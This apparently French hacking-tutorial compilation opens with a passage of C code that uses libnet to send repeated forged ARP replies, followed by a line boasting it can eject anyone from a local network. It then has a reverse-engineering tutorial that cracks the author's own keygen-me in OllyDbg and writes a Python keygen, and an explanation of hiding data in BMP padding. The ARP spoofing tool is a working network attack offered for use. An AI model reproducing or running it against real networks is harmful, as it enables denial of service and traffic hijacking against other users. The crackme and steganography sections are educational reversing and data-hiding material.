                {
                    switch (o)
                    {
                        case 'i':
                            device = optarg;
                            break;
                        case 's':
                            if ((ipaddr = inet_addr (optarg)) == -1)
                            {
                                fprintf (stderr, "Invalid claimed IP address\n");
                                usage (argv[0]);
                            }
                            break;
                        case 't':
                            if ((destaddr = inet_addr (optarg)) == -1)
                            {
                                fprintf (stderr, "Invalid destination IP address\n");
                                usage (argv[0]);
                            }
                            break;
                        case 'm':
                            if ((macaddr = libnet_hex_aton (optarg, &r)) == NULL)
                            {
                                fprintf (stderr, "Error on MAC address\n");
                                usage (argv[0]);
                            }
                            break;
                        default:
                            usage (argv[0]);
                            break;
                    }
                }
                /* Ouverture du context libnet */
                l = libnet_init (LIBNET_LINK, device, errbuf);
                if (l == NULL)
                {
                    fprintf (stderr, "Error opening context: %s", errbuf);
                    exit (1);
                }


                /* Récupération de l'adresse Mac de notre carte réseau*/
                hwaddr = libnet_get_hwaddr (l);

                ///////////////////////// Fabrication de notre ARP header /////////////////////////

                arp = libnet_autobuild_arp (ARPOP_REPLY, /* operation */
                (u_int8_t *) hwaddr, /* source hardware addr */
                (u_int8_t *) &ipaddr, /* source protocol addr */
                macaddr, /* target hardware addr */
                (u_int8_t *) &destaddr, /* target protocol addr */
                l); /* libnet context */

                if (arp == -1)
                {
                    fprintf (stderr, "Unable to build ARP header: %s\n", libnet_geterror (l));
                    exit (1);
                }
                ///////////////// Création de notre Ethernet Header /////////////////////////////

                eth = libnet_build_ethernet (macaddr, /* destination address */
                    (u_int8_t *) hwaddr, /* source address */
                    ETHERTYPE_ARP, /* type of encasulated packet */
                    NULL, /* pointer to payload */
                    0, /* size of payload */
                    l, /* libnet context */
                    0); /* libnet protocol tag */

                if (eth == -1)
                {
                    fprintf (stderr,
                    "Unable to build Ethernet header: %s\n", libnet_geterror (l));
                    exit (1);
                }

                ////////////////////////// Envoi des paquets ////////////////////////////////////
                printf("Nombre de paquet voulu, 1 paquet= 2secondes :");
                scanf("%d", &nb_paquet);

                for(i=0; i < nb_paquet;i++)
                {
                    /* Création des paquets */
                    if ((libnet_write (l)) == -1)
                    {
                        fprintf (stderr, "Unable to send packet: %s\n", libnet_geterror (l));
                        exit (1);
                    }
                    puts("paquets envoyer");
                    sleep(2);
                }
                //////////////////////////Fermeture du programme proprement /////////////////////
                /* Fermeture propre */
                libnet_destroy (l);
                return 0;
            }

                    
Voilà maintenant vous pouvez éjecter n'importe qui de votre réseau local durant la durée que vous avez décidé.

> Introduction au Keygenning sous Win32

Auteur: fr0g

Introduction

Bonjour, afin de suivre dans la lancée de mes premiers tutoriels sur le reversing pour n-pn, j’ai décidé d’en rédiger un sur le keygening.
En quoi consiste un Keygen ?

Je vois sur de plus en plus de forums/sites de h4xx0r de la morkitu, des programmes qu'ils créent, croyant faire des keygens, en programmant simplement une fenêtre assez jolie renvoyant un serial valide pour une application, pris au hasard dans une liste de serials dans leur programme.

Grosse erreur, le keygening ne consiste pas à répertorier des clés valides pour les redonner à l'utilisateur (on a inventé les fichiers texte pour ça :p ).

Cela consiste à comprendre le fonctionnement d'un programme en fonction de son code (le plus souvent en assembleur) afin de produire un programme permettant de générer une clé valide en fonction d'une information propre à chaque utilisateur .
Ici, nous allons étudier le fonctionnement d'un keygen-me de n-pn (que j'ai moi même codé). Je tiens à préciser que le but n'est pas de donner la réponse toute faite, mais plutôt d'expliquer aux débutants comment procéder.

Désassemblage

Bien, tout d'abord, essayons notre keygen me, on le lance, il nous demande un login, je rentre "fr0g" par habitude, étant donné que c'est mon pseudo, ensuite, le programme me demande de rentrer la clé correspondant au login "fr0g",

je tape n'importe quoi, évidemment un message d'erreur apparaît , à moins d'avoir une chance vraiment peu commune.

Nom de l'image
Fig. 1 : l'essai du keygenme

Ouvrons l’exécutable avec ollydbg, un clic droit sur le cadre en haut à gauche, et search for > all referenced Strings

On voit clairement apparaitre :

            Search - Text strings referenced in KeyGenMe, item 0
              Address = 004013E6
              Command = MOV DWORD PTR SS:[ESP+4],OFFSET 00447000
              Comments = ASCII "ysae_os"


            Search - Text strings referenced in KeyGenMe, item 1
              Address = 00401898
              Command = MOV DWORD PTR SS:[ESP+4],OFFSET 00447008
              Comments = ASCII "tropsimple"
                    

On le voit dans le code c++ montré plus haut , la string "tropsimple" est un piège afin d'attirer l'attention d'un éventuel reverser, ce n'est en aucun cas une chaine intervenant dans l'algorithme générant la clé, je ne m'attarderai donc pas dessus, il n'y a rien de plus à dire.

Mais juste au dessus, on peut remarquer la chaine "ysae_os", on la note dans un coin au cas où (à ce moment-là nous ne sommes pas censé savoir si elle va nous servir ou pas .

Un peu plus bas on peut voir "Sorry, try" qui est le début de "Sorry, Try again boy :p", le message d'erreur que le keygen-me nous à affiché plus tôt.

On double clique sur cette chaine, et on se retrouve dans le code ASM du programme :

Nom de l'image
Fig. 3 : le code assembleur

Partons à la pêche

Allez, on se lance, plaçons un BreakPoint (touche F2) sur l'instruction :

            00401b85          CALL 00442EEC
                    
et on appuie sur F9 pour lancer l’exécution du programme, on entre notre login ( pour mon cas c'est toujours "fr0g"), le programme continue sa route, en nous demandant d'entrer cette fois, la clé correspondante au login que l'on a tapé juste avant, pour cette fois, je vais rentrer une dizaine de "A" , et là ... notre programme va breaker .

Observons bien le cadre d'en bas à droite (le cadre affichant la pile ):

Nom de l'image
Fig. 4 : le breakpoint placé
on voit clairement :

            ASCII "fr0g"
            ASCII "4fr0gso_easy"
            ASCII "AAAAAAAAAA"
                    

Je pense que vous avez tous compris, le "fr0g" correspond au login que j'ai entré, le "AAAAAAAAAA" correspond , lui, au serial que j'avais entré, et le "4fr0gso_easy" est notre serial, nous pouvons l'essayer .

Essai du keygenme
Fig. 5 : l'essai du keygenme

Boom !!! on vient d'avancer d'un pas, on à trouvé la clé correspondant au login "fr0g", dans certains cas les algorithmes sont forts compliqués (contrairement à ces quelques crackMe pour débutants ^^ ), ici il n'y a nullement besoin d'analyser le code pour comprendre, décomposons notre clé :

            4      fr0g       so_easy
                    

Il suffit d'entrer un ou deux autres logins pour comprendre que le nombre en début de clé, correspond à la longueur du login entré par l'utilisateur (en nombre de caractères), quant à la chaîne "so_easy", on se doute bien que c'est la chaîne "ysae_os" aperçue plus tôt dans les Referenced strings qui à été renversée.

NOTE :
Evidemment dans un cas réel, il est toujours préférable (pour ne pas dire indispensable) d'analyser le code pour comprendre en détails les étapes de la ou des fonction(s) générant la ou les clés valides, rien ne nous dit qu'au dessus d'un certain nombre de caractères dans le login, la clé se génère toujours de la même façon ...

Bon pour terminer ça on va coder un petit KeyGen afin de générer des clés valides pour ce keygenMe, pour cela je vais utiliser Python (3.2).

            #!/usr/bin/env python3.2
            # -*- coding: latin-1 -*-

            ##################################
            # Author : fr0g
            # WebSite : hwc-crew.com   // n-pn.fr
            # Language : Python 3.2
            #
            # Name : keyGen Example
            ##################################


            #Début de la fonction keygen()

            def keygen(_login):

                # Déclaration de la variable contenant "so_easy" 
                login_ext = "so_easy"   

                # Calcul du nombre de caractères dans le login
                # Et stockage de ce nombre dans la variable login_len
                login_len = str(len(_login))


                # Concaténation des différentes parties de la clé
                valid_key = login_len + _login + login_ext


                # Renvoi de la clé valide
                return valid_key



            # Appel de la fonction keygen() sur le login entré par l'utilisateur
            print (keygen(str(input("Login > "))))

                    
Petit essai :
            Login > AAAAAAAAAA
            10AAAAAAAAAAso_easy
                    
Nikel ;) .

Voilà, j'espère que ce mini tuto aura appris aux plus novices en quoi consiste un keygen, si vous désirez apporter des améliorations à cet article, libre à vous de mes les soumettre par mail à fr0g <at> hwc-crew.com ou sur le forum N-PN.fr.

Cordialement, la grenouille ...

# Author : fr0g
# OS : windows
# Tools : ollydbg, (Python 3.2 pour le keygen)

> Le padding BMP

Auteur: Luxerails

0x01 - Qu‘est-ce que le padding BMP ?

Pour cacher de l‘information dans une image au format bmp, on peut utiliser le padding bmp. Tout d‘abord, voyons comment un bmp est construit (ouvrez par exemple une image bmp avec un éditeur de texte ou un éditeur hexadécimal).

BM................................................ ...image

BM : Header du bmp. Permet de reconnaitre le format du fichier (chaque format en a un: par exemple, le format PNG commence toujours par ‰PNG)

Les "..." représentent plusieurs informations concernant l‘image, notamment sa longueur, ses dimensions, le système d‘exploitation sous lequel elle a été crée... Ce ne sera d‘aucune utilité pour notre tuto.

image: L‘image, débutant à l‘octet 54.

L‘image est codée de la façon suivante : bvr.bvr.bvr.bvr. ...où r, v et b sont les 3 composantes d‘un pixel (rouge, vert et bleu), et où le . est un octet reservé (inutilisé, et généralement nul).

À noter que l‘octet reservé apparait que dans un bmp 32 bits, vu que 32 bits = 4 octets, donc 3 rvb et 1 inutile. Dans les bmp 24 bits, il n‘y a pas d‘octet reservé, donc un pixel = 3 octets. Il faut donc savoir que les composantes sont notées à l‘envers (bvr au lieu de rvb).

Il faut aussi savoir que le bmp écrit les pixels en partant du bas-gauche de l‘image, et en allant de gauche a droite, en remontant l‘image de bas en haut.

Par exemple, pour une image :

            abc def ghi
            jkl mno pqr
            stu vwx yz0 (où 3 lettres = un pixel, c‘est donc une image de taille 3px sur 3px)
                    
Le bmp l‘écrira de cette façon :
uts xwv 0zy lkj onm rqp cba fed ihg
(Pour plus de clarté, j‘ai laissé les espaces, mais il n‘y a pas d‘espaces dans le bmp). Bon, c‘est bien beau mais... le padding bmp dans tout ça ?!

Le problème dans un bmp, c‘est que il faut absolument qu‘une ligne dans un bmp soit multiple de quatre. Par exemple, dans notre exemple de tout à l‘heure :

utsxwv0zylkjonmrqpcbafedihg
Une ligne = 9 octets [=3 pixels], ce qui donne
            utsxwv0zy
            lkjonmrqp
            cbafedihg
                    
Or 9 n‘est pas un multiple de quatre ! Il va donc falloir rajouter des caractères afin que la "ligne" soit multiple de quatre. Ainsi, a chaque ligne, nous allons rajouter 3 octets nuls pour qu‘une ligne fasse douze caractères et douze est un multiple de quatre.

On se retrouve donc avec :
            utsxwv0zy...
            lkjonmrqp...
            cbafedihg...
                    
Soit
utsxwv0zy...lkjonmrqp...cbafedihg...
dans notre bmp. (les . représentent des octets nuls)

Seulement, qui nous empêche de mettre autre chose que des octets nuls ? Je peux très bien mettre : utsxwv0zymsglkjonmrqpcaccbafedihghé!
Pour extraire le message caché, je regarde la longueur de l‘image qui est de neuf, le multiple de quatre qu‘il y a juste après est douze, donc je coupe tout les douze octets :

            utsxwv0zymsg
            lkjonmrqpcac
            cbafedihghé!
                    
Et je lis les 3 derniers octets de chaque ligne.

0x02 - Avantages et inconvénients

Les avantages de cette technique sont que la taille du fichier n‘est pas modifié, et que l‘image n‘a pas a été modifiée non plus (vu que la stéganographie ne se fait pas dans l‘image, mais dans la structure du bmp).

L‘inconvénient de cette technique est que l‘information cachée est en clair dans le bmp, et ainsi, par exemple, si l‘on cache un GIF dans du padding bmp, en sachant que les trois premières lettres d‘un fichier gif sont... "GIF", on peut peut-être voir le mot GIF en clair dans le fichier si la taille du padding d‘une ligne est de trois.

0x03 - Exemple

Essayez de trouver le message caché dans cette image...